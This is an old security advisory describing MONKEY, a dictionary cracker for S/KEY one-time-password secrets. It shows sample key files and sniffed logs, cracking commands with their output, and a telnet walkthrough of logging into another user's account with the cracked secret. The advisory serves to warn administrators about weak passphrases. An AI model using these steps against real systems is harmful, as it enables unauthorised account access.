COMMAND
s/key
SYSTEMS AFFECTED
Systems running s/key
PROBLEM
MONKEY is a program that works similarly in nature to Alec
Muffet's CRACK. In essence it takes the md4 value in either HEX
or English words and compares it to a dictionary. Once the secret
password is known, one time password schemes based off of it are
useless as the appropriate response can be generated based upon
the current challenge. MONKEY can handle two types of input
files; modified sniffer logs or, an actuall skeykeys file from
the system.
Please note that the program does extremely simplistic checks on
the files you pass it. It's up to you to input the proper format.
Sample files have been included.
example skeykeys file:
--------
root 0033 k113356 689668b15365a6e7 Jun 12,1995 21:52:16
johndoe 0071 k113355 79c8d24edc85ff25 Jun 07,1995 15:03:45
demo 0075 za31027 4b8daf293d462b02 Jun 12,1995 12:05:23
toor 0078 za19104 9c03025aeb4b4b1e Jun 07,1995 10:10:16
nodbody 0097 za13143 f4a4380565396733 Jun 08,1995 11:10:42
angela 0099 za31028 cfe0a8df6aa17ef7 Aug 31,1995 13:57:56
--------
example modifed sniffer logs:
--------
nobody:99:k113356:SODA RAVE LUSH MAT TERM TEEM:
john:97:k113356:GULL COVE JUG GRAY MIT BOIL:
sarah:103:k113356:RAIN LOB USED CAIN LINT CAN:
--------
These are passed, along with the dictionary file, to the monkey
program as such (the -k flag specifies an skeykeys file):
unix> monkey -k skeykeys dictionay
User [angela] has a key of [secret]
or
unix> monkey sniffed dictionary
User [nobody] has a key of [secret]
User [john] has a key of [not_it4]
[note: the above examples were taken from two seperate systems,
hence the difference in results]
With this output you now know that several users are choosing
easilly guessed passwords, thus negating the usefullness of one
time password programs such as S/KEY from Bellcore.
If you do not notify these users or take actions to fix this
situation then there is nothing stopping a hacker from running a
similar check and doing the following once they have the above
information:
unix> telnet target.com
Trying 199.99.99.99...
Connected to target.com.
Escape character is '^]'.
Unix of the Day v2.5 (target.com) (ttyp1)
login: john
s/key 23 k113356 [note: it doesn't matter what the challenge
is since we know the secret key]
Password:
^]
telnet>^Z
local_unix> key 23 k113356
Reminder: Do not use key while loged in via telnet or dial-in.
Enter secret password: [types in not_it4]
FIN ROIL COLD LOS HAT SOB
local_unix> fg
FIN ROIL COLD LOS HAT SOB
Last login: Thu Aug 2 13:57:36 from SOMEWHERE.COM
Unix of the Day v2.5
Welcome home john boy...
target$
Currently only md4 is supported (trivial to pop in md5). This
program will take a long time on large dictionaries and
user-bases. The time required is relative to the iteration counter
for the account being checked.
Dictionaries should also include common phrases as most OTP
implementations such as S/KEY from Bellcore and Weitse Venema's
allow keys to be more than just one word. This is not as helpfull
as it sounds. Most people pick memorable phrases from songs or
shows that are fairly common.
If you don't get any succesfull cracks from the included
skeykeys, sniffed and dictionary files you probably need to
switch the endian flag in the makefile. This document is mostly
l0pht copyright. Please feel free to send comments to
mudge@l0pht.com. Program can be found at l0pht site.